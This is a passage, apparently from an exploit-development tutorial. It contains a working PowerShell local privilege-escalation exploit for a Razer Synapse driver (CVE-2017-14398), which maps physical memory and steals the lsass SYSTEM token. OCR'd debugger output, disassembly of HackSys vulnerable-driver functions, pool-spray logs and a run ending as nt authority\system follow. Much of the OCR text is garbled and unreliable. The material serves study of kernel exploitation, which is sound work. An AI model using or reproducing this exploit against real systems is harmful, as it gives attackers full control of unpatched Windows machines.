        using System.Runtime.InteropServices;
        using System.Security.Principal;
         
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct SYSTEM_HANDLE_INFORMATION
        {
            public UInt32 ProcessID;
            public Byte ObjectTypeNumber;
            public Byte Flags;
            public UInt16 HandleValue;
            public IntPtr Object_Pointer;
            public UInt32 GrantedAccess;
        }
         
        public static class GetHandles
        {
            [DllImport("ntdll.dll")]
            public static extern int NtQuerySystemInformation(
                int SystemInformationClass,
                IntPtr SystemInformation,
                int SystemInformationLength,
                ref int ReturnLength);
        }
"@
     
        # Make sure the PID exists
        if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
            Return
        }
     
        # Flag switches (0 = NONE?)
        $FlagSwitches = @{
            0 = 'NONE'
            1 = 'PROTECT_FROM_CLOSE'
            2 = 'INHERIT'
        }
         
        $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
        $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
        switch ($OSMajorMinor)
        {
            '10.0' # Windows 10 (Tested on v1511)
            {
                # Win 10 v1703
                if ($OSVersion.Build -ge 15063) {
                    $TypeSwitches = @{
                        0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
                        0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
                        0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
                        0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
                        0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
                        0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
                        0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
                        0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
                        0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
                        0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
                        0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
                        0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
                        0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
                        0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
                        0x2d = 'ALPC Port'; 0x20 = 'Driver';
                    }
                }
                 
                # Win 10 v1607
                if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
                    $TypeSwitches = @{
                        0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
                        0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
                        0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
                        0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
                        0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
                        0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
                        0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
                        0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
                        0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
                        0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
                        0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
                        0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
                        0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
                    }
                }
                 
                # Win 10 v1511
                if ($OSVersion.Build -lt 14393) {
                    $TypeSwitches = @{
                        0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                        0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                        0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
                        0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                        0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
                        0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                        0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                        0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
                        0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
                        0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
                        0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
                        0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
                    }
                }
            }
             
            '6.2' # Windows 8 and Windows Server 2012
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                    0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
                    0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
                    0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                    0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                    0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
                    0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
                    0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
                    0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
                }
            }
         
            '6.1' # Windows 7 and Window Server 2008 R2
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
                    0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                    0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
                    0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
                    0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
                    0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
                    0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
                    0x2b = 'PcwObject';
                }
            }
         
            '6.0' # Windows Vista and Windows Server 2008
            {
                $TypeSwitches = @{
                    0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
                    0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
                    0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
                    0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
                    0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
                    0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
                    0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
                    0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
                }
            }
        }
     
        [int]$BuffPtr_Size = 0
        while ($true) {
            [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
            $SystemInformationLength = New-Object Int
         
            $CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
             
            # STATUS_INFO_LENGTH_MISMATCH
            if ($CallResult -eq 0xC0000004) {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
            }
            # STATUS_SUCCESS
            elseif ($CallResult -eq 0x00000000) {
                break
            }
            # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
            else {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                return
            }
        }
         
        $SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
        $SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
        if ([System.IntPtr]::Size -eq 4) {
            $SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
        } else {
            $SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
                                                # Ask no questions, hear no lies!
        }
         
        $BuffOffset = $BuffPtr.ToInt64()
        $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
        $BuffOffset = $BuffOffset + [System.IntPtr]::Size
         
        $SystemHandleArray = @()
        for ($i=0; $i -lt $HandleCount; $i++){
            # PtrToStructure only objects we are targeting, this is expensive computation
            if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
                $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
                $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
                 
                $HashTable = @{
                    PID = $Cast.ProcessID
                    ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
                    HandleFlags = $FlagSwitches[[int]$Cast.Flags]
                    Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
                    KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
                    AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
                }
                 
                $Object = New-Object PSObject -Property $HashTable
                $SystemHandleArray += $Object
                 
            }
     
            $BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
        }
         
        if ($($SystemHandleArray.count) -eq 0) {
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
            Return
        }
         
        # Set column order and auto size
        $SystemHandleArray
         
        # Free SYSTEM_HANDLE_INFORMATION array
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
    }
 
    #----------------[Get Driver Handle]
     
    $hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
    [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
     
    if ($hDevice -eq -1) {
        echo "`n[!] Unable to get driver handle..`n"
        Return
    } else {
        echo "`n[>] Driver access OK.."
        echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
        echo "[+] Handle: $hDevice"
    }
     
    #----------------[Prepare buffer & Send IOCTL]
     
    # Get full access process handle to self
    echo "`n[>] Opening full access handle to PowerShell.."
    $hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
    echo "[+] PowerShell handle: $hPoshProc"
     
    # Get Section handle
    echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
    $SystemProcHandles = Get-Handles -ProcID 4
    [Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
    [Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
    echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
     
    # NTSTATUS ZwMapViewOfSection(
    #   _In_        HANDLE          SectionHandle,      | Param 3 - RCX = SectionHandle
    #   _In_        HANDLE          ProcessHandle,      | Param 1 - RDX = ProcessHandle
    #   _Inout_     PVOID           *BaseAddress,       | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
    #   _In_        ULONG_PTR       ZeroBits,           | 0 -> OK - R9
    #   _In_        SIZE_T          CommitSize,         | Param 5 - CommitSize / ViewSize
    #   _Inout_opt_ PLARGE_INTEGER  SectionOffset,      | 0 -> OK
    #   _Inout_     PSIZE_T         ViewSize,           | Param 5 - CommitSize / ViewSize
    #   _In_        SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
    #   _In_        ULONG           AllocationType,     | 0 -> Undocumented?
    #   _In_        ULONG           Win32Protect        | 0x40 -> PAGE_READWRITE
    # );
    $InBuffer = @(
        [System.BitConverter]::GetBytes($hPoshProc.ToInt64()) +      # Param 1 - RDX=ProcessHandle
        [System.BitConverter]::GetBytes([Int64]0x0) +                # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
        [System.BitConverter]::GetBytes($SystemSectionHandle) +      # Param 3 - RCX=SectionHandle
        [System.BitConverter]::GetBytes([Int64]4) +                  # Param 4 - ? junk ?
        [System.BitConverter]::GetBytes([Int64]$(1200*1024*1024)) +  # Param 5 - CommitSize / ViewSize
        [System.BitConverter]::GetBytes([Int64]4)                    # Param 6 - ? junk ?
    )
     
    # Output buffer
    $OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
     
    # Ptr receiving output byte count
    $IntRet = 0
     
    #=======
    # 0x22A064 - ZwMapViewOfSection
    #=======
    $CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
    if (!$CallResult) {
        echo "`n[!] DeviceIoControl failed..`n"
        Return
    }
     
    #----------------[Read out the result buffer]
    echo "`n[>] Verifying ZwMapViewOfSection.."
    $NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
    $Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
    if ($NTSTATUS -eq 0) {
        echo "[+] NTSTATUS Success!"
        echo "[+] 1.2GB RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)"
    } else {
        echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)"
    }
 
    #----------------[Parse PhysicalMemory]
    echo "`n[>] Parsing physical memory, coffee time..`n"
     
    # Store PwnCount so we can exit our loop!
    $PwnCount = 0
     
    for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
         
        # Read potential pooltag
        $Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
         
        # If pooltag matches Proc, pull out details..
        if ($Val -eq 0xe36f7250) {
         
            echo "[?] w00t Proc chunk found!"
            $ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
             
            if ($ProcessName -eq "powershell.exe") {
                $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
                $WriteWhere = $Address+$i+0x60+0x208
                echo "`n[>] PowerShell poolparty: $('{0:X}' -f $($Address+$i))"
                echo "[+] Token: $('{0:X}' -f $Token)`n"
                $PwnCount += 1
            }
             
            if ($ProcessName -eq "lsass.exe") {
                $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
                $WriteWhat = $Token
                echo "`n[>] LSASS poolparty: $('{0:X}' -f $($Address+$i))"
                echo "[+] Token: $('{0:X}' -f $Token)`n"
                $PwnCount += 1
            }
             
            # Check if PwnCount is 2
            if ($PwnCount -eq 2) {
                # Overwrite PowerShell token & exit
                echo "[>] Duplicating SYSTEM token..`n"
                [System.Runtime.InteropServices.Marshal]::WriteInt64($WriteWhere,$WriteWhat)
                Break
            }
        }
    }
}


[image: ]




OEBPS/Images/20180206_11.jpg
TRAP_FRAME: 8a15c940 —— (. trap O=ffffffff8a15c940
ErrCode = 00000010

0893af2 ecx=02257940 edx=0000003a esi=deadb33f =di=00000000

nv up i mg nz na pe nc
5520010 ds=0023 e==0023 £s=0030 gs=0000 ©£1=00010286
2 279

Resetting default scops

LAST_CONTROL_TRANSFER: from 82af2dSf to 82a8e7b8

FAILED_INSTRUCTION_ADDRESS
+0
80741000 77 277

STACK_TEXT
82150194 82a£2d5f 00000003 6ebb7£9c 00000065 nt!RtlpBreaklithStatusInstruction
8alScded 82a£385d 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+Oxlc
8a15c8a8 82221879 00000050 80741000 0000000 nt!|KeBugCheck2+0z68h

82155928 82a54aad 00000008 50741000 0000000 nt!MnAccessFault+0x104
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kd> !analyze -v

. Bugcheck Analysis -

BAD_POOL_CALLER (c2)
The current thread is making a bad pool request. Iypically cthis is at a bad IR
Arguments:

Argl: 00000007, Attempt To free pool which was already freed

Arg2: 00001087, (reserved)

Args: 42424242, Memory contents of the pool block

Arga: 84£dd008, Address of the block of pool being deallocated

Debugging Details:

POOL _ADDRESS: 84£dd008 Nompaged pool
BUGCHECK STR: Oxc2_7

DEFAULT_BUCKET _ID: WIN7_DRIVER FAULT

PROCESS_NAME: powershell.exe

CURRENT IRQL: 2

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers (dbg) -141024-1500) x86fre
MANAGED_STACK: !dumpstack —EE

0S Tnread Id: 0x0 (0)

TEB information is not available so a stack size of OFFEF is assumed
Current frame

ChildEBP RetAddr Caller,Callee

LAST CONTROL TRANSFER: from 828£a083 to 82896110
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T0CTL_ZwOpenProcess:

mov  rll, rsp
push  rbx

sub  rsp, @x7@ {var_78}
xor  eax, eax

mov  dword [rsp+0xd {var_38}], €x30
mov  quord [r11-0x30 {var_30}], rax {exe}

lea r9, [r11-6x48 {var_48}] // ClientId
mov  dword [rsp+x58 {var_20}], eax

lea r8, [r11-ex38 {var_38}] // ObjectAttributes
mov  rbx, rex

mov  quord [r11-6xd8 {var_48}], rcx
xorps  xmm@, xmm@
mov  quord [r11-0x28 {var_28}], rax {exe}

mov  edx, 8x2000000 // DesiredAccess
mov  quord [r11-6x40 {var_40}], rax {0x8}
lea rex, [r1140x8 {arg 8}] // ProcessHandle

mov  quord [r11+0x8 {arg _8}], rax {0x0}
movdqu oword [rsp+0x60], xmm@ {var_18}
call  quord [rel ntoskrnl!ZwOpenProcess@IAT]

test  eax, eax
jns  ex1762d

mov  r9, rbx

mov  dword [rsp+0x20 {var_58}], eax

lea 8, [rel data 28ca@] {“OpenProcess™}

xor  ecx, ecx

lea  rdx, [rel data_28cbe] {"%s - Failed to open process %p s."}

call  sub_145¢8

—1

mov  rax, quord [rsp+0x8e {arg 8}]
add  rsp, @x7@ {_saved_rbx}

pop  rbx
retn
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Sending buffer..
Buffer length: i6
TOCTL: 0x222008

Leaking SYSTEM _EPROCESS.
_EPORCESS Tist entry: OXFFFFF80388608220
SYSTEM _EPORCESS address: OXFFFFEO0LFC427700
PID: 4

SYSTEM Token: OXFFFFCOOOF2816A64
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; Attributes: bp-based frame

5 int _stdcall TriggerArbitraryOverurite( WRITE_WHAT_WHERE xUseriiriteuhatinere)
_Triggerarbitraryoverurite@s proc near

var_1C- dword ptr -1ch
ns_exc= CPPEH_RECORD ptr -18h

Useriiriteuhatihere= dword ptr 8

push  och

push  offset stru_12248

call  __SEH_prologh

xor  edi, edi

nou [ebp+ns_exc.registration.TryLevel], edi

push % 5 Alignnent

push 8 ; Length

mou  esi, [ebpsUseriiriteyhatuhere]

push  esi ; Address

call  ds:_imp_ProbeForRead@2 ; ProbeForRead(x,x,x

push  esi

push  offset alseruritewhatw ; “[+] Useriiriteuhatuhere: 0x%p\n”
call  _DbgPrint

push

push  offset alirite_what_whe ; “[+] WRITE_WHAT_WHERE Size: 0x%¥\n”
call  _DbgPrint

push  duord ptr [esi]
push  offset alseruritewha_2 ; “[+] Useriiriteuhatihere->ihat: 0x%p\n”
call  _DbgPrint

push  duord ptr [esies]

push  offset alseruritewha_8 ; “[+] UseririteWhatuhere->uhere: 0x%p\n”

call  _DbgPrint
push  offset aTriggeringdrbi ; “[+] Triggering Arbitrary Overwritevn”
call  _DbgPrint

add  esp, 2uh

mou  eax, [esi]

mou  ecx, [esish]

mou  eax, [eax]

nou [ecx], eax

imp  short loc_1a6c
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[Copyright (C> 2083 Microsoft Corporation. A1l rights reserved. mm
[PS C:\Users\h33£> .\Desktop\Pool Spray.psi

Spraying non-paged kernel pool?
Derandomizing NonPagedPool. .
19888 ToCo objects create
Allocating sequential objects. .
5800 ToCo objects created!

Last 18 object handles:

[>1 Triggering WinDBG breakpoint. .
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EX Windows PowerShell

6E0507EF
Users\b33f>
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\Users\b33fy . \Desktop\6—ZuMapUicwOFSection-Auto-psi
\Users\b33£> RZ-ZuMapUiewOfSection

Driver access OK..
1pFileName: \\.\47CD78C9-64C3-47C2-BSOF-677B887CFAIS => rzpnk
Handle: 1576

Opening full access handle to PowerShell..
PowerShell handle: 1568

Leaking Kernel handle to \Device\Physicallemory..
Systen section handle: FFFFFFFF80000284

Uerifying ZuMapUiewOfSection. .
NISTATUS Success!
inb RUX \Device\PhysicalMenory allocated at: 1C188988

PS C:\Users\h33f>
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P EOREE 00| 4

Microsoft (R) Windows Debugger Version 10.0.10586.567 X86
Copyright (c) Microsoft Corporation. All rights reserved

Opened \\.\pipe\kd_Win?
Waiting to reconnest

Comnected to Windows 7 7601 =86 compatible target at (Sat Jan 6 18:00:46.623 2018 (UTC + 8:00)). ptréd FAISE
Kernel Debugger connection sstablished

xxxxmxmxxnxne Synbol Path validation summary sxexexxsxexexx
Response Tine (ns) Location
Deferred SRV*F: /synbolslocal*http://nsdl . nicrosaf t.con/dovnload/synbals
Synbol ssarch path is: SRVXF:/synbalslocal*http://msdl.microsoft.con/dovnload synbols

Executable search path is

Windovs 7 Kernel Version 7601 MP (1 procs) Free x86 compatible

Built by: 7601.17803.%86fre.vin7spl_gdr.120330-1504

Machine Nane

Kernel base = 0x83245000 PsloadedloduleList = 0x83£8s4d0

Systen Uptine: not available

nt | DbgloadInageSynbols+0xd7

8325d5a8 oo int
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exxsexx HaCKSYS EVD_IOCTL _UNINITIALIZED STACK VARIAELE sexxssex
[+] UserValue: 0zBADOBOED

[+] UninitializedStackVariable Address: D=8BC619C8

[+] UninitializedStackVariable Value: 0xBADOBOBO

[+] UninitializedStackVariable Callback: 0x355B7DCO

[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback

xxxxxx HACKSYS EVD TOCTL UNINITIALIZED STACK VARIABLE *wxxxx
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\Users\b33£> RZ-ZuMapUiewOFSection

shhsddh
shhy Mhsdns.
nnyydN hNh
B syyMdds  soNy
shyshy Nd s sMshNs yssnn Razer Synapse EOP - CUE-2017-14398
shhdh hNs  dNNNddndsd yhs
sddds _mhydNnddndnddy
amdhy [hy h33f -> GFuzzySec]
dNsyyss
snndddnnnddnh
yhnh
hdd
vd

[>1 Driver access OK..
[+1 IpFileName: \N.\47CD78C9-64C3-47C2-BSBF-677B887CFA95 => rapnk
[+1 Handle: 1748

[>1 Opening full access handle to PowerShell..
[+1 PouerShell handle: 1424

[>1 Leaking Kernel handle to \Device\PhysicalMemory..
[+1 System section handle: FFFFFFFFS0B0U22S

[>1 Uerifying ZuMapUiewOfSection. .
[+1 NISTATUS Success!
[+1 1.2GB RUX \Device\PhysicalMenory allocated at: 1E286008

[>1 Parsing physical memory, coffee time..

[71 uoBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBE Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBE Proc chunk foun:
[71 woBE Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:

[>1 LSASS poolparty: 5CD26ADA
[+1 Token: FFFFFS8ARA7DFECSL

[71 woBE Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:
[71 woBt Proc chunk foun:

[>] PouerShell poolparty: SDAGSEE8
[+1 Token: FFFFFSAB01568069

[>1 Duplicating SYSTEM token..
PS C:\Users\h33£> uhoani

nt authority\systen
PS_C:\Users\b33f>
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0c0c0as7

162bea0
2320062
7e348005
206120

42424242
41418181
41413181
41418181
41418181
41418181
41413181
41418181
41418181
41418181
41413181
41418181
41418181
41418181
41413181
41418181

BEEBLALLLLALALL

BALARAAMALLRALL
BALARAAMALLRALL
BALARAAMALLRALL
BALARAAMALLRALL
BALARAAMALLRALL
BALARAAMALARALL
MALALAR..4]..

19> bp 70348505
could not he found.
19> o
Breakpoint 0
eax=0c0c0c0c ebx=00206120 ecx=024200k2 edy

=1p=7c348005 esp=D162bcaD ehp=0162hche iopl=

co=001b  ss=0023 ds=0023 es=0023 fs=003k
MSVCR71! setusermatherr+0x290:

7348005 54 xchy  eax,esp

08> o

(e18.c2c) : Access violation - code cODODODS
First chance exceptions are reported before
This exception may be expected and handled.
eax=0162hcan ebx=00206120 ecx=024200h2 edx

eip=12424242 esp=0c0c0c10 ehp=0162hche iopl=

co=001b  ss=0023 ds=0023 es=0023 fs=003b
GauzazEE 22 222

Defaulted to export symbols for C:\Program Files\Javd

©345005 esi=0162bedD edi=00000000
o nv up ei pl zr na pe ne
gs=0000 ez1=00000246

(first chance)
any exception handling.

©345005 esi=0162bed edi=00000000
o nv up ei pl zr na pe ne
gs=0000 ezl=00010246
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1oc_9528C9AF :
call ~ __ SEH_epilogs

retn 8
|_TriggerIntegeroverflowas endp
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3: kd> !process 0 0 powershell.exe
PROCESS £E££9802a252080
SessionId: 1 Cid: 0918  Peb: b0a2c8e000 ParentCid: Oedd
DirBase: 5£054000 ObjectTable: ffffe78810d48e80 HandleCount: 630
Inage: powershell.exe

3: ka> .process £f£9802a2e5e080
Implicit process is now Ffff9802°a2e5e080

WARNING: .cache forcedecodeuser is mot enabled User tagWND
3: k> dq 000002RECELESFLO LS
000002a6-c=169716 00060000 000a0zb4 0000000000000 [erNel tag WD

00000226°ce169£20 FEfEs5ie’ 03£0COL0]
00000226°cel69£30 £LFE95le"00829£10)
3: ka> dgq FFFFS51EQ0829F10 L5
£EFF951e°00829£10 00000000"000202b4]
